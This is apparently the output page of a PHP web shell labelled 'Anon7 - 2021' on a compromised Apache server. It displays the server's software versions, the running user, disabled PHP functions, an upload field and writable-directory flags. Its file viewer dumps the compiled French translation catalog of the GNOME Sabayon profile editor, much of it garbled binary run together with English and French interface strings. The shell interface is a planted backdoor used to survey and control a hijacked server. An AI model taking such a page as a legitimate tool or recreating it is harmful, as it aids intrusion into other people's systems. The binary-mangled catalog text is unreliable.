KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/fr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/fr/LC_MESSAGES/sabayon.mo
2Iaw		
)
4BbN#+!O"q !XRB$((F]i-u
(6Oi}1P%e1.;%X!~*8&+=Oau{" "#!C!e
IG0xI+u|$
	
#",%Ou$$$ #@W\ |$ 

  
) 4 C T l 0     ,!!&!!
""#"3"<"Q"V"9v"""""#1#F#L#b#z#P#L#1$	8$B$K$R$Z$c$i$u${$	$$
$$$$$$/$%%!%2%/7%g%z%%%%%%F'(N'$w'#'('
'*'&(%F(*l((((
(()d)/x)+)*)/)1/*-a*,*1**5+6++C,-^,1,,,#,-.->-*J-!u-#-!--!-.3.+H.*t..(.$.-/+:/f/+m////D/(05@0v0A0(0C0.B1.q171@1;2IU23222	3&3?3H3,N35{32333242K44~444"4	55%5667i89o:::7:::;#;A;U;d;
;0;1;&;0<.L<1{</<.<$=1==5=4s=8=6=>-(>-V>>>	>>>!>?E$?j????\z@@>@,ADAUAqAAAA AKA$BBB.UBB)BBBB
C!-CQOCPC
C
CD$D,D	5D	?D
IDWD!]D
DDDDD
DDD5DEE+"ENE:TEEE$EEEEYk]p\N)rW{B
!OKZb#D5.@H*>Q=%P|[si;A6m4fe:0j1,Lw^-<X2g~C'oxqTI	R9 thzlUy+J`n8(Vc/uME
d$_"&a}vGF37?S%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %d hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon 2.14.2
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-02-12 21:47+0100
PO-Revision-Date: 2007-02-12 21:50+0100
Last-Translator: Stéphane Raimbault <stephane.raimbault@gmail.com>
Language-Team: GNOME French Team <gnomefr@traduc.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n>1;
%s (%s)%s ajouté au tableau de bord inférieur%s ajouté au tableau de bord gauche%s ajouté au tableau de bord droit%s ajouté au tableau de bord supérieurlanceur %s%s supprimé du tableau de bord inférieur%s supprimé du tableau de bord gauche%s supprimé du tableau de bord droit%s supprimé du tableau de bord supérieur<b>Applets désactivés</b><b>Protocoles sécurisés</b><aucun type><non défini>À propos de SabayonAjouter un profilLes droits administrateur sont requis pour lancer ce programme car il modifie des fichiers système.Applet %s ajouté au tableau de bord inférieurApplet %s ajouté au tableau de bord gaucheApplet %s ajouté au tableau de bord droitApplet %s ajouté au tableau de bord supérieurApplet %s supprimé du tableau de bord inférieurApplet %s supprimé du tableau de bord gaucheApplet %s supprimé du tableau de bord droitApplet %s supprimé du tableau de bord supérieurMenu ApplicationsImpossible d'ajouter un fichier inexistant « %s »Impossible de localiser le dossier personnel : non défini dans /etc/passwd et la variable d'environnement $HOME n'est pas définieImpossible de localiser le nom de l'utilisateur : non défini dans /etc/passwd et la variable d'environnement $USER n'est pas définieModifications au profil %sCliquez pour rendre ce paramètre obligatoireCliquez pour rendre ce paramètre non-obligatoire_Ne pas enregistrerFermer la fenêtre activeImpossible d'ouvrir %s en écritureParamètres GConf par défautEffacer l'objetDescriptionL'outil profils de bureau est déjà actifDésactiver les URLs _arbitrairesDésactiver l'édition des _signetsDésactiver la ligne de _commandeDésactiver l'_historiqueDésactiver le chrome _JavaScriptDésactiver l'im_pressionDésactiver _quitterDésactiver l'édition des barres d'ou_tilsDésactiver les protocoles non-sécurisésDésactiver forcer à _quitterDé_sactiver le verrouillage de l'écranDésactiver la fermeture de sessi_onDé_sactiver la configuration de l'impressionDésactiver l'enregistrement sur le _disqueTiroirÉdition des configurations de verrouillageÉditer les modificationsÉdition du profil %sAppliquer les obligationsAppliquer les configurations obligatoires dans la session d'éditionNavigateur Web EpiphanyÉtablir et éditer des profils pour les utilisateursÉvénement attendu : %s %sImpossible d'ajouter le profil par défaut %s à la configurationImpossible d'ajouter un moniteur pour %sImpossible d'ajouter l'utilisateur %s à la configuration du profilImpossible d'obtenir la liste des utilisateursImpossible de lire le fichier « %s » : %sImpossible de lire les metadonnées de « %s » : %sImpossible d'enregistrer la base de données utilisateur vers %sImpossible de démarrer Xnest : échec durant le lancementImpossible d'exécuter Xnest : délai d'attente du signal USR1 dépasséLe fichier %s n'est pas une configuration de profilFichier « %s » modifiéFichier « %s » crééFichier « %s » suppriméFichier non trouvé (%s)FichiersGConfClé GConf « %s » définie en « %s »Clé GConf « %s » définie en booléen « %s »Clé GConf « %s » définie en réel « %s »Clé GConf « %s » définie en entier « %s »Clé GConf « %s » définie en liste « %s »Clé GConf « %s » définie en paire « %s »Clé GConf « %s » définie en schéma « %s »Clé GConf « %s » définie en chaîne « %s »Clé GConf « %s » non définieGénéralCacher le _menuSi vous n'enregistrez pas, les modifications effectuées depuis%0dune heure seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées ces %d dernières heures seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis %ld minute seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées ces %ld dernières minutes seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis %ld seconde seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées ces %ld dernières secondes seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis une heure et %d minute seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis une heure et %d minutes seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis une heure seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis une minute et %ld seconde seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées depuis une minute et %ld secondes seront définitivement perdues.Si vous n'enregistrez pas, les modifications effectuées cette dernière minute seront définitivement perdues.IgnorerIgnorer les avertissementsSection des metadonnées invalide dans « %s » : %sVerrouillerBouton Vérouiller l'écranÉditeur de verrouillageParamètres de verrouillage pour %sBouton DéconnexionMenu principalParamètres GConf obligatoiresBarre de menuSignet de Mozilla modifié « %s » « %s »Signet de Mozilla créé « %s » -> « %s »Signet de Mozilla supprimé « %s »Dossier de signet de Mozilla modifié « %s »Dossier de signet de Mozilla créé « %s »Dossier de signet de Mozilla supprimé « %s »Clé Mozilla « %s » modifiée en « %s »Clé Mozilla « %s » définie en « %s »Clé Mozilla « %s » non définieNomAucun profil n'a été trouvé pour l'utilisateur « %s »
Aucun filtre n'a été spécifié pour la demande %sAucun attribut de résultat n'a été spécifié pour %sAucune base de recherche n'a été spécifiée pour %sTableau de bordLe tableau de bord « %s » a été ajoutéLe tableau de bord « %s » a été retiréFichier de tableau de bordMenu PréférencesProfil %s_Nom du profil :Fichier de profil : %sLe profil %s est en lecture seuleParamètres du profil : %sProgramme de création et d'édition de profils pour les utilisateursBouton Lancer une applicationExécution de %s essaisExécution de %s tests (%s)Sabayon requiert la présence d'un compte utilisateur spécial « %s » sur cet ordinateur. Essayez à nouveau après l'avoir créé (par exemple en utilisant la commande « adduser »)Voulez-vous enregistrer les modifications apportées au profil « %s » avant de fermer ?Enregistrer le profilL'étendue doit être « one », « base » ou « sub »Bouton Capture d'écranBouton RechercheMenu Administration réseauMenu DémarrageRéussite !Menu Administration systèmeTypeImpossible d'obtenir un écran XUtilisation : %s <nom-du-profil> <chemin-du-profil> <numéro-d'affichage>
Utilisation : %s [<nom-du-profil>]
Utiliser ce profilUtiliser ce profil pour tous les utilis_ateursÉditeur de profil utilisateurCompte utilisateur « %s » non trouvéUtilisateurs pour le profil %sValeurSignets du navigateur WebPréférences du navigateur WebListe de profil du navigateur WebVous ne pouvez pas utiliser l'outil profils de bureau dans une session d'éditionVotre compte n'a pas les droits suffisants pour lancer l'outil profils de bureauÀ _propos_Basé sur :Liste des modifi_cations_Fermer_Effacer_DétailsÉ_dition_Plein écranAid_e_Verrouiller les tableaux de bord_Verrouillage_Profil_Profils :_Quitter_Enregistrer_Utilisateurs_Utilisateurs :booléendoublon de nom (%(name)s) dans la section %(section)sréelentierType invalide pour le paramètre %s dans %slistemultiple_result doit être « first » ou « random »aucun profil par défautpairedéfaut redondant dans la section %sschémachaîneGianni Moschini <gianni@cmsoft.net>
Hervé Romano <azuri@free.fr>
Jonathan Ernst <jonathan@ernstfamily.ch>
Stéphane Raimbault <stephane.raimbault@gmail.com>

Anon7 - 2021